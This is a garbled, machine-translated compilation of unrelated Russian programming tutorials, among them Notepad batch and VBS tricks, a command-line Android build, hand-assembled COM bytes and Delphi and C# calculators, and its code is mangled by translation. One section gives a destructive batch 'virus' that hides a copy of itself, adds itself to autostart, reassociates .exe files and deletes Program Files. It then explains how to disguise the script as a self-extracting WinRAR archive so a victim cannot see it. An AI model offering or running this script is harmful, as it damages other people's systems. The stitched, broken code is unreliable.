Как создать приложение в блокноте
Microsoft Notepad был включен в каждую версию Windows, начиная с Windows 1.0 в 1985 году. Это чрезвычайно минималистский текстовый редактор, и когда я говорю «минималистский», я имею в виду минималистский . Если в качестве текстового процессора для Microsoft Word установлено значение «10», то значение «Блокнот» будет равно «.000004» (дайте или возьмите несколько нулей).
Блокнот доводит концепцию «без излишеств» до крайности. Но то, что ему не хватает в способностях обработки текста, это восполняет как минималистский блокнот для базового кодирования. Помимо основной функциональности текста, Блокнот является надежным хранилищем для старых языков программирования, таких как VBScript. Пользователи могут создавать простые программы для персонализации работы с Windows (или просто выполнять аккуратные трюки). Конечно, существуют лучшие текстовые редакторы для всех, кто занимается кодексом, но Notepad - это текстовый редактор для всех (под управлением Windows).
Любой может использовать Блокнот, чтобы поиграться с кодом и создать программы для персонализации работы с Windows (очень неформально и исправимо). Даже если вы ничего не знаете о кодировании, существует множество базовых примеров кода, которые вы можете вырезать и вставить в Блокнот для некоторых ПК Magic.
Вот семь классных программ, которые каждый может использовать для создания простых маленьких программ на своем ПК. Все эти скрипты были протестированы с использованием Windows 10 Creators Update и могут немного отличаться в вашей установке Windows.
1 матричный эффект
Помните Матрицу ? Это самая близкая вещь, когда крупная бюджетная фантастика становится «мыслителем». Что ж, теперь вы можете пережить все свои воспоминания о матрице через Блокнот и немного простого кода. Вот что ты делаешь.
1) Скопируйте следующие строки кода и вставьте их в Блокнот:
@ эхо выключено
цвет 02
:ухищрения
echo% random %% random %% random %% random %% random %% random %% random %% random%
трюки
2) Сохранить как «Matrix.bat» (или вы можете называть его как хотите, но важно сохранить его как файл .bat).
2 Сделать личный дневник
Этот простой, но может быть сочтен полезным для некоторых.
1) Введите «.LOG» в новый документ «Блокнот» (без кавычек). Примечание: это должно быть все в верхнем регистре.
2) Сохранить как обычный текстовый документ.
3 Заставьте свой компьютер говорить
Теперь вы можете быть таким же, как Мэтью Бродерик в разгар технологического процесса 1983 года, и заставить свой компьютер говорить человеческим голосом. Это весело! Вот что ты делаешь.
1) Введите следующий код в документ Блокнот:
2) Сохранить как «talk.vbs» или как угодно (важно, чтобы вы сохранили его как файл .vbs).
4 Превратите свою клавиатуру в фестиваль EDM
Вы когда-нибудь хотели, чтобы ваша клавиатура была более 1) раздражающей и 2) праздничной? Что ж, благодаря этому трюку вы можете сделать это.
1) Вставьте следующий код в документ Notepad:
Установите wshShell = wscript.CreateObject ("WScript.Shell")
делать
wscript.sleep 100
wshshell.sendkeys ""
wshshell.sendkeys ""
wshshell.sendkeys ""
петля
2) Сохранить как файл .vbs.
3) Дважды щелкните по сохраненному файлу.
5 Угадайку
Вот хороший способ скоротать время, если вам скучно через Instructables.
1) Вставьте следующее в документ «Блокнот»:
2) Сохранить как файл .bat.
6 Генератор паролей
Ваши пароли, вероятно, отстой. Если вы хотите создать простой (числовой) генератор случайных паролей, вы можете сделать это с помощью этого небольшого трюка (с помощью Instructables). Иногда числа длиной в четыре цифры; некоторые из них пятизначные. По сути, это скорее генератор ПИН.
1) Вставьте следующий код в документ Блокнота.
@ эхо выключено
: Start2
ЦБС
Перейти к началу
:Начало
Название Генератор паролей
эхо я сделаю вам новый пароль.
эхо Пожалуйста, запишите пароль где-нибудь на случай, если вы забудете его.
эхо ---------------------------------------- -------- ---------------
эхо 1) 1 случайный пароль
эхо 2) 5 случайных паролей
эхо 3) 10 случайных паролей
echo Введите ваш выбор
установить вход =
set / p input = Choice:
если% input% == 1 перейти к A, если НЕ перейти к Start2
если% input% == 2 перейти к B, если НЕ перейти к Start2
если% input% == 3 перейти к C, если НЕ перейти к Start2
: A
ЦБС
echo Ваш пароль% random%
эхо Теперь выберите, что вы хотите сделать.
эхо 1) вернуться к началу
эхо 2) Выход
установить вход =
set / p input = Choice:
если% input% == 1 перейти к Start2, если НЕ перейти к Start 2
если% input% == 2 перейти к выходу, если НЕ перейти к началу 2
:Выход
Выход
: B
ЦБС
echo Ваши 5 паролей:% random%, % random%, % random%, % random%, % random%.
эхо Теперь выберите, что вы хотите сделать.
эхо 1) вернуться к началу
эхо 2) Выход
установить вход =
set / p input = Choice:
если% input% == 1 перейти к Start2, если НЕ перейти к Start 2
если% input% == 2 перейти к выходу, если НЕ перейти к началу 2
: C
ЦБС
echo Ваши 10 паролей:% случайный%, % случайный%, % случайный%, % случайный%, % случайный%, % случайный%, % случайный%, % случайный%, % случайный%, % случайный%
эхо Теперь выберите, что вы хотите сделать.
эхо 1) вернуться к началу
эхо 2) Выход
установить вход =
set / p input = Choice:
если% input% == 1 перейти к Start2, если НЕ перейти к Start 2
если% input% == 2 перейти к выходу, если НЕ перейти к началу 2
2) Сохранить как файл .bat.
7 Виртуальный калькулятор
Этот калькулятор с ручным кодированием - это больше крутое подтверждение концепции, чем то, что я бы честно рекомендовал для ваших нужд. Ваш ПК или телефон, скорее всего, поставляются с более интуитивным виртуальным калькулятором, как и браузер, на котором вы, вероятно, читаете это. (Через инструктаж)
Когда я начал изучать Android, захотелось полностью написать и скомпилировать Android-приложение вручную — без использования IDE. Однако эта задача оказалась непростой и заняла у меня довольно много времени. Но как оказалось — такой подход принёс большую пользу и прояснил многие тонкости, которые скрывают IDE.
По-сути эта статья является переводом и переработкой статьи Building Android programs on the command line под современные на данный момент JDK (7) и Android SDK (API level 19). Кроме того, я многое упростил и добавил кое-что от себя.
Используя только блокнот, мы напишем совсем маленькое учебное Android-приложение. А затем скомпилируем его, соберём и запустим на устройстве — и всё через командную строку. Заинтересовало? Тогда прошу.
Вступление
Я был поражён, насколько сложным и запутанным является шаблонное приложение в android studio. Оно просто нагромождено ресурсами. И в меньшей степени — кодом и скриптами. Хотя всё что оно должно делать — это выводить на экран HelloWorld! Кроме того, в книгах и руководствах, которые я просмотрел, объясняется, как с помощью диалоговых окон создать IDEA-шный или эклипсовый HelloWorld — и от него уже идёт дальнейшее повествование. А что происходит «под капотом» — остаётся только гадать.
Долгие поиски были почти безрезультатны — на русском языке статей по данной теме я не нашёл, а на английском — была устаревшая информация и кое-что пришлось дорабатывать напильником, гуляя по stackowerflow и документации. Когда я разобрался, то решил восполнить пробел — вдруг кому-то пригодится? Собственно, так и появилась эта статья.
Мы создадим свой шаблонный проект, который идеально использовать для обучения. Там не будет ничего лишнего, только всё самое необходимое. А потом детально разберём, как его собрать и запустить на вашем Android-устройстве. В конце статьи будет ссылка на скачивание архива с итоговым проектом — если возникнут какие-то вопросы — можете свериться с ним.
Таким образом, вы будете на 100% знать и понимать состав вашего проекта и процесс его сборки. Хотя этот тестовый проект предназначен для обучения, при небольшой доработке его можно будет использовать как прочный фундамент для ваших реальных проектов.
Подготовка
Для начала у вас должен быть установлен JDK 7 и android SDK. Последний кстати нужно чуточку настроить после установки.
Главное требование перед прочтением этой статьи — кроме установленного софта вы должны уже уметь запускать на вашем девайсе тот Helloworld, который поставляется вместе с Eclipse или Android Studio. Т.е. у вас должен быть настроен драйвер usb, включена отладка по usb на вашем девайсе и т.д… Или же создан и настроен эмулятор. Это совсем элементарные вещи, и их рассмотрение выходит за рамки данной статьи — в сети достаточно информации. Кстати прочитать пару глав из книг тоже будет не лишним — хотя бы понимать, как устроен манифест, ресурсы, да и вообще основы языка Java. А в этой статье я опишу то, о чём книги молчат.
Написание проекта
Для начала, создайте некоторую папку, где будет ваш проект. Назовём её mytestapp. В ней создайте ещё 4 папки — bin,obj,res и src.
Создайте пустой текстовый файл и измените его имя на AndroidManifest.xml. Если вы начинающий пользователь Windows, вам нужно включить показ расширений, иначе файл будет по-прежнему текстовым.
Добавьте в него следующее:
Тут всё просто. Мы намерены сделать приложение с именем TestApp, которое при старте запускает класс MainActivity. Осталось только написать этот небольшой класс — и приложение готово. Если нужно — отредактируйте в теге uses-sdk свойство android:targetSdkVersion — поставьте ту версию, которая у вас.
Далее — создадим простейший ресурс — строку Hello test app. Вообще-то мы могли обойтись и без ресурса, вставив эту строку прямо в Java код. Но некоторые шаги сборки работают с ресурсами, и чтобы увидеть интересные моменты — мы всё-таки поработаем с ними.
Давайте создадим в папке res папку values. Все ресурсы следует разбивать по папкам. Далее — в ней создадим пустой файл strings.xml. а в нём напишем
Вот и все ресурсы, нам необходимые. Просто, не так ли? Далее создадим внутри src папку com, в ней папку example, потом ещё ниже по иерархии папку testapp — а там уже наш класс MainActivity.java. Добавим туда код
Структура каталогов должна получится такая
И это собственно всё, что нам было нужно для простейшего проекта. Для сравнения —
Собственно, автоматизация через gradle, работа с git и IDE — вещи очень важные, однако на этапе изучения Android мне бы очень хотелось от них абстрагироваться.
Сборка
Теперь же подходим к самому важному и сложному этапу. Мы будем много работать с командной строкой, поэтому рекомендую вам все команды, данные здесь, записывать в один файл и назвать его comp.bat. В конце файла после команд можете добавить pause, чтобы был виден результат и ошибки — если таковые возникнут.
Подготовка путей
Первое, что мы сделаем для удобства и краткости — создадим специальные переменные, в которых будем хранить пути. Для начала — определим наши основные директории. Вам нужно заменить пути к JDK и Android SDK на те, которые у вас.
Далее — пути непосредственно к программам. Я рекомендую вам просмотреть каталоги ваших SDK и убедится в том, что всё на месте. Также подкорректировать версии, которые присутствуют в путях.
Между прочим, в более старых версиях утилита aapt находилась в platform-tools — и я не исключаю что она и\или другие могут слинять куда-нибудь ещё. Так что будьте внимательны. Если вы всё правильно сверите сейчас — то остальная часть статьи должна пройти гладко.
И ещё — в пару переменных забьём наши пакеты и классы. Если заходите их сменить — вам не придётся бегать по коду — все настройки вначале.
Подготовка к компиляции
А теперь самое интересное. Помните, как классические Java-программы компилируются и запускаются в 2 строчки? Здесь мы используем тот же самый javac, однако кроме него нам предстоит использовать ещё много утилит.
Для начала спрошу — а вы никогда не задумывались, как работает загадочный класс R? Собственно меня он сперва смутил из-за его сверхъестественных возможностей. Как на этапе компиляции можно через поля класса обращаться к XML-файлам в других каталогах? Я предположил, что тут орудует прекомпилятор — так оно и оказалось.
Собственно, есть специальная утилита AAPT — она проходится по каталогам ваших ресурсов и создаёт тот самый R.java. Оказывается, всё очень даже просто — это просто класс, в составе которого другие статические вложенные классы с целочисленными константами. И всё! Он выглядит примерно так
Теперь давайте создадим его у вас. Для этого используем следующие команды:
- package — говорит, что нам нужно именно упаковать ресурсы (а не добавить или удалить)
- -f — перезапись существующего R.java, если таковой имеется
- -m — разместить R.java в надлежащих пакетах, а не в корне указанного в -J пути
- -S — после этой опции мы указываем каталог с ресурсами
- -J — после этой опции мы указываем куда сохранить получившийся R.java
- -I — после этой опции мы указываем путь к подключаемой библиотеке — включаем android.jar
Теперь в нашем проекте нет никакой магии и он полностью синтаксически корректен для обычного Java-компилятора. Давайте скомпилируем его.
- -d — куда поместить итоговые пакеты и *.class-файлы
- -cp — classpatch — укажем путь к библиотеке android.jar
- -sourcepath — пути, где находятся (или могут находится) наши *.java файлы
Опция --dex указывает на то, что нам нужно преобразовать из *.class в *.dex. Затем после опции --output мы задаём путь к итоговому файлу classes.dex. И последний аргумент в этой команде — путь непосредственно к пакетам, содержащим *.class файлы
Убедитесь в том, что в папке bin находится наш classes.dex. Теперь осталось только упаковать его вместе с ресурсами в APK-файл. Сделаем это:
- package — говорит, что нам нужно именно упаковать ресурсы (а не добавить или удалить)
- -f — перезапись существующего AndroidTest.unsigned.apk, если таковой имеется
- -M — после этой опции мы указываем путь к файлу манифеста
- -S — после этой опции мы указываем каталог с ресурсами
- -I — после этой опции мы указываем путь к подключаемой библиотеке — включаем android.jar
- -F — после этой опции мы указываем куда сохранить получившийся AndroidTest.unsigned.apk
- последний аргумент — путь к папке с dex — файлами
Собственно, эти строчки запускают 2 Java-утилиты, которые не имеют никакого отношения к Android SDK — но они необходимы. Первая создаёт файл AndroidTest.keystore (проверьте его наличие), а вторая — этот файл соединяет с AndroidTest.unsigned.apk. Получается файл AndroidTest.signed.apk. Вот такой дикий крафт файлов. Но однажды создав bat-скрипт запускайте его — и он будет делать всё это в автоматическом режиме.
Я думаю, не стоит тратить время на детальный разбор опций этих утилит в пределах данной статьи. Просто нужно уловить суть — они берут AndroidTest.unsigned.apk, подписывают его файлом AndroidTest.keystore и сохраняют в AndroidTest.signed.apk. Если есть желание, можете почитать в документации.
У вас, скорее всего, будет предупреждение "Warning: No -tsa or -tsacert is provided and this jar. ", но не обращайте внимание.
Запуск
Теперь, когда мы наконец собрали наш apk-файл — можем его запустить. Подключите по usb ваше устройство, или же запустите эмулятор. А затем выполните
- shell — мы хотим выполнить некоторые команды на нашем девайсе
- am — используем для выполнения команд activity manager
- start — мы хотим запустить некоторое Activity
- имя пакета и полное имя класса (включая пакет), которые мы стартуем
Заключение
После сборки всех файлов дерево каталогов должно быть примерно таким.
Теперь вы можете наглядно увидеть и понять, как происходит сборка андроид-приложения на более низком уровне. Когда будете использовать IDE — если сборка вдруг пойдёт не так (а такое часто бывает) — сможете вырулить ситуацию как надо. Также обратите внимание на то, что итоговый apk-файл занимает всего около 4 килобайт.
Таким образом, скрипт производит полную очистку и пересборку проекта, включая подпись, а также удаление его на устройстве, установку и запуск.
Не секрет что каждый из нас хоть раз открывал com или exe файлы блокнотом, видел письмена подобные этим:
В целях приподнятия завесы тайны странного наречия и написана эта статья.
Сразу стоит отметить, что символы, приведенные выше, по большей части, не несут смысловой нагрузки в своем начертании. Они являются визуальной формой числового представления. В свою очередь, числовое представление является операционным кодом машинного языка, и хранителем сакрального смысла этих тайных знаков.
Практика
На первом этапе, нам придется опустится как можно ближе к опкодам и написать программу на языке Ассемблера
Язык ассемблера, или просто ассемблер - низкоуровневый язык программирования, использующий мнемоники, инструкции и операнды для представления машинного кода
Википедия
Org 100h mov ah,9h mov dx,message int 21h int 20h message db "Hello World$"
Теперь, имея на руках готовую программу, можно перейти к этапу трансляции.
Трансляция
org 100hЭто просто смещение и код для него не генерируется. Будем использовать 100h для будущего расчета адресов.
Mov ah,9h - заносим в регистр ah число 9h.
Переведем в машинные коды. Открываем второй том интеловской книги на странице с инструкцией mov. И видим…
Opcode | Instruction | Clocks | Description |
88 /r | MOV r/m8,r8 | 2/2 | Move byte register to r/m byte |
89 /r | MOV r/m16,r16 | 2/2 | Move word register to r/m word |
89 /r | MOV r/m32,r32 | 2/2 | Move dword register to r/m dword |
8A /r | MOV r8,r/m8 | 2/4 | Move r/m byte to byte register |
8B /r | MOV r16,r/m16 | 2/4 | Move r/m word to word register |
8B /r | MOV r32,r/m32 | 2/4 | Move r/m dword to dword register |
8C /r | MOV r/m16,Sreg | 2/2 | Move segment register to r/m word |
8D /r | MOV Sreg,r/m16 | 2/5,pm=18/19 | Move r/m word to segment register |
A0 | MOV AL,moffs8 | 4 | Move byte at (seg:offset) to AL |
A1 | MOV AX,moffs16 | 4 | Move word at (seg:offset) to AX |
A1 | MOV EAX,moffs32 | 4 | Move dword at (seg:offset) to EAX |
A2 | MOV moffs8,AL | 2 | Move AL to (seg:offset) |
A3 | MOV moffs16,AX | 2 | Move AX to (seg:offset) |
A3 | MOV moffs32,EAX | 2 | Move EAX to (seg:offset) |
B0 + rb | MOV reg8,imm8 | 2 | Move immediate byte to register |
B8 + rw | MOV reg16,imm16 | 2 | Move immediate word to register |
B8 + rd | MOV reg32,imm32 | 2 | Move immediate dword to register |
C6 | MOV r/m8,imm8 | 2/2 | Move immediate byte to r/m byte |
C7 | MOV r/m16,imm16 | 2/2 | Move immediate word to r/m word |
C7 | MOV r/m32,imm32 | 2/2 | Move immediate dword to r/m dword |
Как же выбрать из всего этого множества необходимую команду? Регистр ah является байтным регистром. Плюс нам необходимо занести в регистр число 9. Поэтому выбираем опкод для MOV reg8, imm8, это B0+rb, где rb номер регистра, который можно взять из следующей таблицы.
rb | rb | rd | |
0 | AL | AX | EAX |
1 | CL | CX | ECX |
2 | DL | DX | EDX |
3 | BL | BX | EBX |
4 | AH | SP | ESP |
5 | CH | BP | EBP |
6 | DH | SI | ESI |
7 | BH | DI | EDI |
Номер регистра ah равен 4. Отсюда B0+4=B4. Число, которое будет занесено в регистр, пишется следом за опкодом инструкции. Таким образом, mov ah, 9h превращается в B4, 9 (запятая поставлена лишь для визуального отделения чисел).
Следующая инструкция mov dx, message . В регистр dx заносим адрес строки message. Пока рассчитать его мы не можем, поэтому поставим временную заглушку. Пользуясь двумя приведенными выше таблицами, получаем опкод для mov dx - BA,100, где 100 является временной мерой.
Теперь транслируем int 21h и int 20h , из приведенной ниже таблицы можно получить нужные опкоды - это CD,21 и CD,20.
Opcode | Instruction | Clocks | Description |
CD ib | INT imm8 | 37 | Interrupt numbered by immediatebyte |
CD ib | INT imm8 | pm=59 | Interrupt--Protected Mode, same privilege |
CD ib | INT imm8 | pm=99 | Interrupt--Protected Mode, moreprivilege |
CD ib | INT imm8 | pm=119 | Interrupt--from V86 mode to PL 0 |
CD ib | INT imm8 | ts | Interrupt--Protected Mode, via task |
Запишем полученную программу: B4, 09, BA, 100, CD, 21, CD, 20 .
Вернемся к нашей заглушке потому, как нам все еще необходимо рассчитать адрес нашей строки для вывода. Теперь это сделать достаточно просто. Посчитаем все пары цифр по порядку. Их девять (число 100h не входит в один байт. Поэтому требуется два). Таким образом, адрес строки будет равен 100h+9h=109h. Заменяем 100h на 109h. Число 109h, по понятным причинам, не может быть помещено в один байт, поэтому понадобиться двухбайтовое значение 09,01 таким образом, получаем следующую программу: B4, 09, BA, 09, 01, CD, 21, CD, 20.
Кодинг
Для простоты кодирования приведем числа к десятичной системе счисления (для оправдания заголовка, на калькуляторе)
180, 9, 186, 9, 1, 205, 33, 205, 32 .
Вооружаемся блокнотом и вставляем нужные ASCII символы.
Не забываем ввести в конце Hello World!$ .
Все что осталось это сохранить наш файл с расширением com и запустить.
Метки: Блокнот, Assembler, операционные коды
Недавно решил немного расширить свой кругозор в области безопасности и немного порылся в сети на тему простых вирусов в кустарных условиях. Оказывается вирусы можно создавать даже в простом блокноте. Информацию об этом я представляю только в ознакомительных целях. Помните писать вирусы - плохо. Вам же наверное не приятно когда ваш любимый компьютер заражают, вот и вы не поступайте так с другими.
Писать будем bat файл в обычном виндовом блокноте. Создаем файл и пишем.
@Echo off (запрещаем вывод на экран исполняемых команд)
Echo Virus Loading (Выводит на экран надпись «Virus Loading» В место нее можете писать что угодно)
Date 13.09.96 (эта строка изменяет дату)
If exist c:ski.bat goto abc (проверяет существует ли файл, …..)
Copy %0 c:ski.bat (копирует вирус только изменив названия)
Attrib +h c:ski.bat (делает файлу ski.bat атрибут скрытый
Echo c:ski.bat >>autoexec.bat (Прописывает файл ski.bat в автозагрузку
:abc (……если он существует, то программа перейдет на метку:abc)
md PRIDUROK
md LUZER
md DURAK (Создает пустые папки)
md LAMER
Label E: PRIDUROK (CD-ROM будет называться PRIDUROK)
assoc .exe=.mp3 (запускает все ексшники как музыка
del c:Program Files/q (удаляет все файлы из этой папки)
Echo VIRUS LOAD (Выводит надпись)
Итак мы написали простой вирус. Теперь нажимаем ФАЙЛ>>СОХРАНИТЬ КАК, и в поле имя файла пишем, например virus.bat
.bat обязательна везде. Появился значок MS-DOS. Так что бы жертва не смогла увидеть его код будем использовать WIinRar. Берем наш вирусочек и кидаем его в архив вылетит окно и ты просто ставишь галочку «создать SFX-архив. Далее заходим в дополнительное и открываем параметры SFX там есть строка выполнить после распаковки и ты пишешь РЕАЛЬНОЕ имя твоего вируса. Видишь простой блокнот вступил как вирусосаздатель, а WinRar сделал якобы программу….выводы делать тебе. И смотри непопадись сам на это. Не принимай файлы в инете от незнакомых людей и смотри на размер файла.
Reg - непосредственная работа с реестром. Смотреть reg /? всем!
rcp - обмен файлами через rcp в ascii
runas - от имени пользователя
tasklist - отображает приложения и сеансы, связанные с ним.
taskkill - позволяет завершить один или несколько процессов
tftp - trivial ftp
tskill - убить процесс
reg - утилита взаимодействия с реестром
bootcfg - настройка boot.ini
append - позволяет открывать удаленные файлы так, словно они находятся в текущем.
getmac - получить мас
logoff - Заверщить пользовательский сеанс.
mem - вывод на экран сведений о текущих процессах в ОЗУ
mqbkup - архивирование
netsh - ??
openfiles - просмотреть открытые файлы.
rsh - выполнение команд на удаленных узлах с запущеной rsh
sc - command line ??
rexec - выполнение команд на удаленных узлах с запущеной rexec
shutdown - выключить (хе-хе) local or remote computer.
systeminfo - вывод инфы о компе.
schtasks - планировщик заданий.
xcopy - копирование файлов и каталогов.
tsshutdn - завершение работы сервера в установленом порядке.
set - вывод, задание и удаление переменных среды cmd.exe. Свойства системы (пр.кн."мой комп") - дополнительно - Переменные среды. Там не все переменные, но много! Все смотреть просто set.
Кстати, вот некоторые RunDLL команды, которые могут использоваться при создании батников
Блокнот - это простой текстовый редактор. С его помощью просматривают документы в формате.txt. Запустить Блокнот можно, нажав "Пуск". Выбрать "Программы" и "Стандартные". В нем можно печатать текст, создавать web-страницы и даже небольшие вирусы. А кто-нибудь задумывался о том, что в простом можно создать неплохую программку?
Вам понадобится
- Персональный компьютер, установленный блокнот
Инструкция
Чтобы создать программу, надо запустить Блокнот. Далее вводите необходимые данные, пишите нужный текст. Он будет зависеть от того, что вы хотите создать. Если этот документ станет страничкой сайта, заполняете все в html-редакторе.
Введите, например, mspaint. Сохраните документ под любым именем. Нажимайте "Файл" и "Сохранить как…" Только надо выбрать правильно формат. В "Имя файла" пишите название, а вместо.txt вставляйте нужный вам формат (html, для нашего случая.bat.) Откройте созданный файл. В нем теперь может писать все, что угодно. Вместо "mspaint" Taskmgr-диспетчер задач и прочее, то есть, все зависит от того, какую программу хотите создать.
В Блокноте простой текст может стать программой, если правильно выбрать ему формат. Откройте блокнот и напишите следующий код программы:
a = inputbox (“Введите время для таймера”)
msgbox “Работает таймер”
Сохраните документ в формате.vbs. Все, можете запускать свою программку.
Написав текст для программы, самое главное сохранить в правильном формате, или расширении. Откройте Блокнот. Введите следующий текст программы:
set/p expr="Enter expression:"
echo Answer: %answer%
Данный файл сохраните в расширении.bat или же.cmd. В командной строке можно ввести слово « help». Там вы увидите доступные команды. Чтобы узнать синтаксис, введите в строке “help/?”. Если недоступно какое-то расширение, откройте командную строку и применяйте такую команду, как . Для сохранения в консоли текста надо нажать такую комбинацию: “Enter и Ctr+Z”. Так что блокнот тоже может создавать программы, пусть не такие огромные и сложные. Обычно в Блокноте сохраняют программы, имеющие расширение *.bat * .cmd , * .vbs.
Программа-калькулятор является одним из типовых заданий по программированию. Такое приложение можно реализовать практически на любом языке программирования. Одним из наиболее популярных ЯП является Delphi, на котором можно написать простой и эффективный код калькулятора.
Вам понадобится
Инструкция
Запустите используемую вами среду программирования Delphi. Распланируйте интерфейс вашего приложения. На форме будет 26 кнопок, 10 из которых отвечают за цифры, а остальные - за функции. Дополнительно будет присутствовать компонент TPanel, на котором будет выводиться результат действия.
Добавьте в код 4 переменных, которые будут сохранять числа, введенные пользователем и определять режим. Например:
var
a, b, c: real- //числа, которые вводит пользователь
d: integer- //действие калькулятора
Созданные переменные можете внести как и в protected, так и в private. Теперь к каждой цифровой кнопке обработайте событие onclick. Для всех цифр код будет идентичен:
procedure TForm1.Button1Click(Sender: TObject);
begin
Panel1.Caption:=Panel1.Caption+`число`
end;
Замените «число» на название кнопки (если это цифра 0, то Panel1.Caption+`0`).
Переменная d имеет формат integer и будет содержать соответствующее числовое значение какого-либо действия. Если будет осуществляться умножение, то можно задать действию значение 1, если деление - значение 2, если сложение - значение 3, и т. д. Для действия умножения код будет иметь вид:
procedure TForm1.ButtonMultiplyClick(Sender: TObject)- //действие умножения
begin
a:=StrToFloat(Panel1.Caption)- //после нажатия кнопки сохраняется значение переменной a
d:=1- //переменной действия задается соответствующее значение
Panel1.Caption:=``;
end-
Сделайте аналогичные операции для деления (ButtonDivClick), сложения (ButtonPlusClick), вычитания (ButtonMinusClick) и возведения в степени (ButtonPowerClick).
Для обработки значения ``=`` необходимо сделать условие case и поочередно рассматривать каждое действие:
procedure TForm1.Buttonclick(Sender: TObject);
begin
case d of
1: begin //если d = 1, т. е. нажимается кнопка умножения, то происходит соответствующее действие
b:=StrToFloat(Panel1.Caption);
c:=a*b;
Аналогичным образом обработайте действия сложения, вычитания и возведения в степень. Калькулятор готов.
Платформа Android открытая, поэтому каждый может написать своё приложение и распространять его через каталоги программ. Все инструменты бесплатны.
Язык программирования для мобильной разработки на Android очень простой — это Java. Сейчас Google активно продвигает Kotlin как язык, который сможет заменить Java. Приложения пишут и на C++.
Создание простейшего приложения состоит из нескольких этапов:
- проект в Android Studio;
- создание пользовательского интерфейса;
- добавление активностей, навигации и действий;
- тест-драйв приложения в эмуляторе.
А пока мы описываем азы, студенты курса «Профессия Мобильный разработчик» уже получают деньги за свои приложения.
Пишет про разработку в Skillbox. Работал главным редактором сайта «Хабрахабр», ведет корпоративные блоги.
Необходимые инструменты
Первым делом установите программу Android Studio. Это официальная среда разработки (IDE) для Android, она работает на Windows, macOS и Linux. Хотя при разработке программ для Android можно использовать и другие среды, кроме Android Studio.
Если на компьютере не установлены Android SDK и другие компоненты, то Android Studio автоматически скачает их. Android SDK — это среда программирования, в которую входят библиотеки, исполняемые файлы, скрипты, документация и т.д.
Android SDK компилирует код вместе с любыми данными и ресурсами в файл с расширением .apk. Он содержит всё необходимое для установки приложения на Android-устройство.
Полезно установить и эмулятор Android, чтобы запускать и тестировать приложения. Эмулятор поставляется в комплекте с Android Studio.
Когда все инструменты установлены, можно создать первый проект. Но сначала нужно разобраться с основными понятиями.
Из чего состоит приложение
на Android
Android-приложение состоит из четырёх компонентов. Каждый компонент — это точка входа, через которую система или пользователь может получить доступ.
- Активность (activity) — элементы интерактивного пользовательского интерфейса.
Одна активность задействует другую и передаёт информацию о том, что намерен делать пользователь, через класс Intent (намерения). Активности подобны веб-страницам, а намерения — ссылкам между ними. Запуск приложения — это активность Main. - Сервис (service) — универсальная точка входа для поддержания работы приложения в фоновом режиме.
Этот компонент выполняет длительные операции или работу для удалённых процессов без визуального интерфейса. - Широковещательный приемник (broadcast receiver) транслирует нескольким участникам намерения из приложения.
Теперь попробуем сделать своё приложение для Android.
Создаём Android-приложение
в Android Studio
Шаг 1
Выбираем название приложения, домен компании, путь к проекту и название пакета. Указываем, включить ли поддержку опциональных языков программирования C++ и Kotlin.
Шаг 2
Задаём одну или несколько целевых платформ для сборки. Для этого используется SDK и AVD, менеджер виртуальных устройств Android. Инструмент позволяет устанавливать в SDK пакеты, которые поддерживают несколько версий ОС Android и несколько уровней API (интерфейсов программирования приложений).
Чем ниже версия Android, тем больше устройств, на которых приложение запустится. Чем выше версия, тем богаче функциональность API.
Шаг 3
Выбираем основную активность, которая будет запускаться при нажатии на иконку приложения, и даём ей имя.
Шаг 4
После нескольких минут сборки Android Studio открывает интерфейс IDE. Здесь три основных момента.
Windows: Как создать программу
Cоздать программу самому? Это очень просто! Не верите? Давайте сделаем небольшую программу, которая станет вашей отправной точкой в мир программирования.
Оглавление к статье
- Этапы создания программы
- Установка среды разработки
- Создание программы
1 . Этапы создания программы
Из выше сказанного, написание программы можно разделить на следующие этапы:
2 . Установка среды разработки
Так как большинство из нас не гениальные мальчики и девочки, родившиеся с клавиатурой в руках и не впитали языки программирования с молоком матери, нам понадобится текстовый редактор более функциональный и наглядный чем блокнот.
Из ключевых возможностей Visual Studio хочется отметить:
Примечание.
Ранее, когда Visual Studio не была бесплатной, как альтернативу можно было рассматривать SharpDevelop, бесплатную IDE с открытым исходным кодом, которая предоставляла функционал сходный с Visual Studio и в некоторых случаях его было достаточно для создания проэктов любой сложности. Но теперь, в виду стагнации процесса разработки SharpDevelop, и стремительного развития Visual Studio, альтернативы продукту от Microsoft просто нет.
Загрузите и установите последнюю версию, которая доступна для загрузки на сайте разработчика. С этим не должно возникнуть сложностей. После установки запустите среду разработки.
3 . Создание программы
Открылось главное окно Visual Studio,
Перетащите кнопку Button на форму главного окна, только что созданного проекта.
Настройте только что добавленную кнопку в панели свойств:
- Свойство Text, меняем значение на Close
- Name меняем на bnClose
- Anchor: Bottom,Right
Добавьте обработчик события нажатия кнопки: делаем двойное нажатие на кнопке, программа автоматически создаст необходимый метод bnClose_Click. Внутри метода пишем: this.Close();
При нажатии кнопки Close, окно программы закроется, в след за этим завершит работу и сама программа.
Примечание
За всеми проделанными выше действиями с созданием конпки и редактирования ее свойств, лежит создание кода программы средой разработки VisualStudio.
Откойте файл Form1.Designer.cs. Как видите, все те действия, что вы делали в настройках, отображены здесь в виде кода программы:
То-есть для среды разработки, элементы управления окна выглядят в виде кода, но для удобства, настройки графического интерфейса создаваемой программы в VisualStudio можно делать в наглядном визуальном представлении.
Сделаем что-нибудь посложнее, чем просто вывод текста на экран
Итак, давайте создадим следующие элементы интерфейса программы
Примечание: Очень удобно использовать копирование элементов пользовательского интерфейса. Для того, чтоб это сделать, нужно выделить элементы, которые нужно скопировать и при нажатой кнопке Ctrl, потянуть мышью выделенные элементы в сторону.
Попробуйте закончить настройку внешнего вида программы, чтоб она стала выглядеть так:
Высота текстового поля tbResult регулируется за счет изменения размера шрифта.
Назначим обработчики событий нажатия кнопок
Пишем код обработчика
Как видите, все методы-обработчики отличаются только одним символом. Это не есть красиво, но наведением порядка в коде мы займемся немножко позже. Сейчас для наглядности путь обработчики событий нажатия кнопки остаются как есть.
Давайте на примере операции сложения разберем как работает наша программа.
Из курса школьной программы математики мы знаем, что действия, заключенные в скобки выполняются в первую очередь. В программировании то-же самое:
Более сложные типы, такие как DateTime, могут иметь несколько мeтодов ToString().
Проверяем работу программы
Программа работает и делает то, что от нее требовалось:
Давайте теперь перепишем программу, чтоб она могла выводить предупреждение, в случае, если было введено некорректное значение одного из операторов. Скопируйте следующий метод к себе в файл Form1.cs, там где находятся остальные обработчики *_Click:
Теперь перейдите в конструктор формы (Shift + F7) и для каждой кнопки, в качестве обработчика события Click выберите метод bnMathAction_Click.
В итоге вы должны получить файл Form1.cs следующего вида:
Читайте также: